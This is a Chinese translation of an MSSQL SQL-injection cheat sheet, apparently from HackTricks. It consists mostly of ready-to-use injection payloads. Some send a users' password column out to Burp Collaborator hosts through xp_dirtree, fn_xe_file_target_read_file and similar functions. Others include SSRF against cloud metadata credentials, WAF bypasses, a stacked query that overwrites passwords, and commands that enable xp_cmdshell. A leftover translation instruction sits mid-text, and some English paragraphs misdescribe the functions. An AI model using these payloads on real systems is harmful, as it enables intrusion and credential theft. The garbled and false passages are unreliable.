17 KiB
MSSQL注入
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
- 你在一家网络安全公司工作吗?想要在HackTricks中看到你的公司广告吗?或者你想要访问PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品——The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组 或 Telegram群组,或者关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
Active Directory枚举
可能可以通过在MSSQL服务器内部使用以下MSSQL函数来枚举域用户的SQL注入:
SELECT DEFAULT_DOMAIN()
:获取当前域名。master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))
:如果你知道域的名称(在这个例子中是_DOMAIN),这个函数将以十六进制格式返回用户Administrator的SID。它看起来像0x01050000000[...]0000f401
,请注意最后4个字节是大端格式中的数字500,这是管理员用户的常见ID。
这个函数将允许你知道域的ID(除了最后4个字节的所有字节)。SUSER_SNAME(0x01050000000[...]0000e803)
:这个函数将返回所指示的ID的用户名(如果有的话),在这种情况下,0000e803在大端格式中等于1000(通常这是第一个常规用户ID的ID)。然后你可以想象,你可以从1000到2000 brute-force用户ID,并可能获得域中所有用户的用户名。例如使用以下函数:
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
替代错误基于的向量
基于错误的SQL注入通常类似于+AND+1=@@version--
这样的结构,以及基于«OR»运算符的变体。包含这些表达式的查询通常会被WAFs阻止。为了绕过这个问题,可以使用%2b字符将字符串与触发所需数据类型转换错误的特定函数调用的结果连接起来。
以下是一些这样的函数的示例:
SUSER_NAME()
USER_NAME()
PERMISSIONS()
DB_NAME()
FILE_NAME()
TYPE_NAME()
COL_NAME()
函数USER_NAME()
的示例用法:
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
SSRF
fn_xe_file_target_read_file
SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种攻击技术,攻击者可以通过欺骗服务器发起伪造的请求,从而访问服务器内部资源。在 MSSQL 数据库中,fn_xe_file_target_read_file
函数存在安全漏洞,攻击者可以利用该漏洞读取文件内容。
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
权限: 需要在服务器上具有**VIEW SERVER STATE
**权限。
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
fn_get_audit_file
The fn_get_audit_file
function is used to retrieve the audit file from the database. This function takes a parameter called @file_path
which specifies the path of the audit file to be retrieved.
To exploit this function, an attacker can use SQL injection to manipulate the @file_path
parameter and execute arbitrary SQL queries. This can be done by injecting malicious SQL code into the parameter, such as ' OR 1=1 --
.
For example, if the original SQL query is:
SELECT * FROM audit_files WHERE file_path = @file_path;
An attacker can inject the following payload:
SELECT * FROM audit_files WHERE file_path = '' OR 1=1 --';
This payload will cause the SQL query to always return all rows from the audit_files
table, effectively bypassing any authentication or authorization checks.
To prevent SQL injection attacks, it is important to properly sanitize and validate user input before using it in SQL queries. This can be done by using parameterized queries or prepared statements, which ensure that user input is treated as data and not as part of the SQL query.
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
权限: 需要 CONTROL SERVER
权限。
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
fn_trace_gettable
fn_trace_gettable
is a built-in function in Microsoft SQL Server that allows you to read the contents of a trace file and return the data in a tabular format. This function is commonly used for troubleshooting and performance analysis purposes.
To use fn_trace_gettable
, you need to provide the path of the trace file and specify the columns you want to retrieve. The function will then parse the trace file and return the requested data.
It's important to note that fn_trace_gettable
can be vulnerable to SQL injection attacks if user input is not properly sanitized. Attackers can exploit this vulnerability to execute arbitrary SQL statements and potentially gain unauthorized access to the database.
To prevent SQL injection attacks, it is recommended to use parameterized queries or prepared statements when constructing SQL queries. These techniques ensure that user input is treated as data and not executable code.
In conclusion, fn_trace_gettable
is a useful function for analyzing trace files in Microsoft SQL Server, but it should be used with caution to prevent SQL injection vulnerabilities.
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
权限: 需要 CONTROL SERVER
权限。
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
xp_dirtree
, xp_fileexists
, xp_subdirs
在使用MSSQL时,最常见的进行网络调用的方法是使用存储过程xp_dirtree
,这个存储过程在微软的文档中没有记录,但在互联网上被其他人记录下来。这种方法已经在互联网上的多个示例中被用于带外数据泄露的文章中。
基本上,
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
与MySQL的LOAD_FILE
类似,您可以使用xp_dirtree
向仅限TCP端口445发出网络请求。您无法控制端口号,但可以从网络共享中读取信息。
**PS:**这在默认配置下无法在运行在Windows Server 2016 Datacenter
上的Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
上运行。
还有其他存储过程,例如master..xp_fileexist
或**xp_subdirs
**可以用于类似的结果。
xp_cmdshell
显然,您还可以使用**xp_cmdshell
来执行触发SSRF**的操作。有关更多信息,请阅读页面中的相关部分:
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}
MSSQL用户定义函数 - SQLHttp
编写CLR UDF(Common Language Runtime用户定义函数 - 使用任何**.NET语言编写的代码,并编译为DLL**)并在MSSQL中加载它以进行自定义函数非常简单。但是,这需要dbo
访问权限,因此,除非Web应用程序连接到数据库时使用sa
或管理员角色,否则可能无法正常工作。
此Github存储库包含Visual Studio项目和安装说明,用于将二进制文件作为CLR程序集加载到MSSQL中,然后从MSSQL中调用HTTP GET请求。
http.cs
代码使用WebClient
类发出GET请求并获取指定内容。
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
}
}
在安装说明中,在CREATE ASSEMBLY
查询之前运行以下命令,将程序集的SHA512哈希添加到服务器的受信任程序集列表中(可以使用select * from sys.trusted_assemblies;
查看列表)。
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
一旦添加了程序集并创建了函数,我们可以运行以下命令来进行HTTP请求。
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
快速利用:一次查询检索整个表
有两种简单的方法可以在一次查询中检索整个表的内容 - 使用FOR XML或FOR JSON子句。FOR XML子句需要指定模式,如«raw»,所以在简洁性方面,FOR JSON优于它。
查询以检索当前数据库中的模式、表和列:
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
基于错误的向量需要一个别名或名称,因为没有别名或名称的表达式输出无法格式化为JSON。
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
获取当前查询
可以从sys.dm_exec_requests
和sys.dm_exec_sql_text
访问中获取当前正在执行的SQL查询:
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
权限: 如果用户在服务器上具有VIEW SERVER STATE权限,则用户将看到SQL Server实例上的所有正在执行的会话;否则,用户只能看到当前会话。
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
绕过WAF的小技巧
非标准空白字符: %C2%85 或 %C2%A0:
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
科学(0e)和十六进制(0x)表示法用于混淆UNION:
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
在FROM和列名之间使用句点而不是空格:
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
在SELECT和一个临时列之间使用\N分隔符:
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
使用非传统的堆叠查询绕过WAF
根据这篇博客文章,在MSSQL中可以在不使用";"的情况下堆叠查询:
因此,例如,多个查询可以这样写:
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
以下是关于黑客技术的一本书中的内容。以下内容来自文件pentesting-web/sql-injection/mssql-injection.md。将相关的英文文本翻译成中文,并返回翻译结果,保持完全相同的markdown和html语法。请不要翻译代码、黑客技术名称、黑客术语、云/SaaS平台名称(如Workspace、aws、gcp...)、泄漏一词、渗透测试和markdown标签。此外,请不要添加任何额外的内容,只需提供翻译和markdown语法即可。
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
因此,可能会绕过不考虑此类堆叠查询的不同WAF。例如:
# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
admina'union select 1,'admin','testtest123'exec('select 1')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# Using weirdly built queries
admin'exec('update[users]set[password]=''a''')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# Or enabling xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## This will be
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
参考资料
- https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
- https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/
☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?想要在 HackTricks 中宣传你的公司吗?或者想要获取最新版本的 PEASS 或下载 HackTricks 的 PDF吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品——The PEASS Family
- 获取官方 PEASS & HackTricks 商品
- 加入💬 Discord 群组 或 Telegram 群组,或者关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks 仓库 和hacktricks-cloud 仓库 提交 PR 来分享你的黑客技巧。